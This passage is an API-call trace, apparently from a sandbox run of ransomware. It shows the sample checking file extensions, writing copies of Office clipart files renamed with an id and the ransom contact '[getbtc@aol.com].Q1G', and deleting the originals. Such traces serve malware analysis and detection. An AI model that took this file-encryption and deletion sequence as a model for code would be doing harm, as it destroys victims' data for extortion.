lpString2=".WMF") returned -1 [0250.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.122] lstrlenW (lpString=".1cd") returned 4 [0250.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0250.122] lstrlenW (lpString=".jpg") returned 4 [0250.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.122] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.122] lstrlenW (lpString="FD01176_.WMF") returned 12 [0250.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.122] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4984) returned 1 [0250.122] CloseHandle (hObject=0x324) returned 1 [0250.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0250.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.123] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.123] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.123] GetLastError () returned 0x0 [0250.123] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1378, lpOverlapped=0x0) returned 1 [0250.143] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0250.144] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.144] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.144] SetEndOfFile (hFile=0x1fc) returned 1 [0250.144] CloseHandle (hObject=0x1fc) returned 1 [0250.144] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.144] SetEndOfFile (hFile=0x324) returned 1 [0250.146] CloseHandle (hObject=0x324) returned 1 [0250.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.147] lstrlenW (lpString=".doc") returned 4 [0250.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString=".docx") returned 5 [0250.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.147] lstrlenW (lpString=".pdf") returned 4 [0250.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString=".xls") returned 4 [0250.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.147] lstrlenW (lpString=".xlsx") returned 5 [0250.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.147] lstrlenW (lpString=".ppt") returned 4 [0250.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.147] lstrlenW (lpString=".zip") returned 4 [0250.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.147] lstrlenW (lpString=".rar") returned 4 [0250.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString=".bz2") returned 4 [0250.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString=".7z") returned 3 [0250.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.147] lstrlenW (lpString=".dbf") returned 4 [0250.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.147] lstrlenW (lpString=".1cd") returned 4 [0250.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".jpg") returned 4 [0250.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".doc") returned 4 [0250.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString=".docx") returned 5 [0250.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.148] lstrlenW (lpString=".pdf") returned 4 [0250.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString=".xls") returned 4 [0250.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.148] lstrlenW (lpString=".xlsx") returned 5 [0250.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.148] lstrlenW (lpString=".ppt") returned 4 [0250.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".zip") returned 4 [0250.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.148] lstrlenW (lpString=".rar") returned 4 [0250.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString=".bz2") returned 4 [0250.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString=".7z") returned 3 [0250.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".dbf") returned 4 [0250.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".1cd") returned 4 [0250.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0250.148] lstrlenW (lpString=".jpg") returned 4 [0250.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.149] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.149] lstrlenW (lpString="FD01193_.WMF") returned 12 [0250.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.166] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1160) returned 1 [0250.167] CloseHandle (hObject=0x1fc) returned 1 [0250.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0250.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.167] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.167] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.168] GetLastError () returned 0x0 [0250.168] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x488, lpOverlapped=0x0) returned 1 [0250.170] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x490, lpOverlapped=0x0) returned 1 [0250.171] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.171] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.171] SetEndOfFile (hFile=0x390) returned 1 [0250.171] CloseHandle (hObject=0x390) returned 1 [0250.171] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.171] SetEndOfFile (hFile=0x1fc) returned 1 [0250.173] CloseHandle (hObject=0x1fc) returned 1 [0250.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".doc") returned 4 [0250.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString=".docx") returned 5 [0250.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.174] lstrlenW (lpString=".pdf") returned 4 [0250.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString=".xls") returned 4 [0250.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.174] lstrlenW (lpString=".xlsx") returned 5 [0250.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.174] lstrlenW (lpString=".ppt") returned 4 [0250.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".zip") returned 4 [0250.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.174] lstrlenW (lpString=".rar") returned 4 [0250.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString=".bz2") returned 4 [0250.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString=".7z") returned 3 [0250.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".dbf") returned 4 [0250.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".1cd") returned 4 [0250.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".jpg") returned 4 [0250.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.174] lstrlenW (lpString=".doc") returned 4 [0250.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString=".docx") returned 5 [0250.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.175] lstrlenW (lpString=".pdf") returned 4 [0250.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString=".xls") returned 4 [0250.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.175] lstrlenW (lpString=".xlsx") returned 5 [0250.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.175] lstrlenW (lpString=".ppt") returned 4 [0250.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.175] lstrlenW (lpString=".zip") returned 4 [0250.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.175] lstrlenW (lpString=".rar") returned 4 [0250.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString=".bz2") returned 4 [0250.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString=".7z") returned 3 [0250.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.175] lstrlenW (lpString=".dbf") returned 4 [0250.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.175] lstrlenW (lpString=".1cd") returned 4 [0250.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0250.175] lstrlenW (lpString=".jpg") returned 4 [0250.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.175] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.175] lstrlenW (lpString="FD01196_.WMF") returned 12 [0250.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.176] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2332) returned 1 [0250.176] CloseHandle (hObject=0x1fc) returned 1 [0250.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0250.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.176] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.176] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.178] GetLastError () returned 0x0 [0250.178] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x91c, lpOverlapped=0x0) returned 1 [0250.179] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x920, lpOverlapped=0x0) returned 1 [0250.180] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.180] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.180] SetEndOfFile (hFile=0x390) returned 1 [0250.180] CloseHandle (hObject=0x390) returned 1 [0250.180] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.180] SetEndOfFile (hFile=0x1fc) returned 1 [0250.183] CloseHandle (hObject=0x1fc) returned 1 [0250.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString=".doc") returned 4 [0250.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString=".docx") returned 5 [0250.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.184] lstrlenW (lpString=".pdf") returned 4 [0250.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString=".xls") returned 4 [0250.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.184] lstrlenW (lpString=".xlsx") returned 5 [0250.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.184] lstrlenW (lpString=".ppt") returned 4 [0250.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString=".zip") returned 4 [0250.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.184] lstrlenW (lpString=".rar") returned 4 [0250.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString=".bz2") returned 4 [0250.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString=".7z") returned 3 [0250.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString=".dbf") returned 4 [0250.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString=".1cd") returned 4 [0250.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.184] lstrlenW (lpString=".jpg") returned 4 [0250.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString=".doc") returned 4 [0250.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString=".docx") returned 5 [0250.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.185] lstrlenW (lpString=".pdf") returned 4 [0250.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString=".xls") returned 4 [0250.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.185] lstrlenW (lpString=".xlsx") returned 5 [0250.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.185] lstrlenW (lpString=".ppt") returned 4 [0250.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString=".zip") returned 4 [0250.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.185] lstrlenW (lpString=".rar") returned 4 [0250.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString=".bz2") returned 4 [0250.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString=".7z") returned 3 [0250.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString=".dbf") returned 4 [0250.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString=".1cd") returned 4 [0250.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0250.185] lstrlenW (lpString=".jpg") returned 4 [0250.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.185] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.185] lstrlenW (lpString="FD01548_.WMF") returned 12 [0250.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), 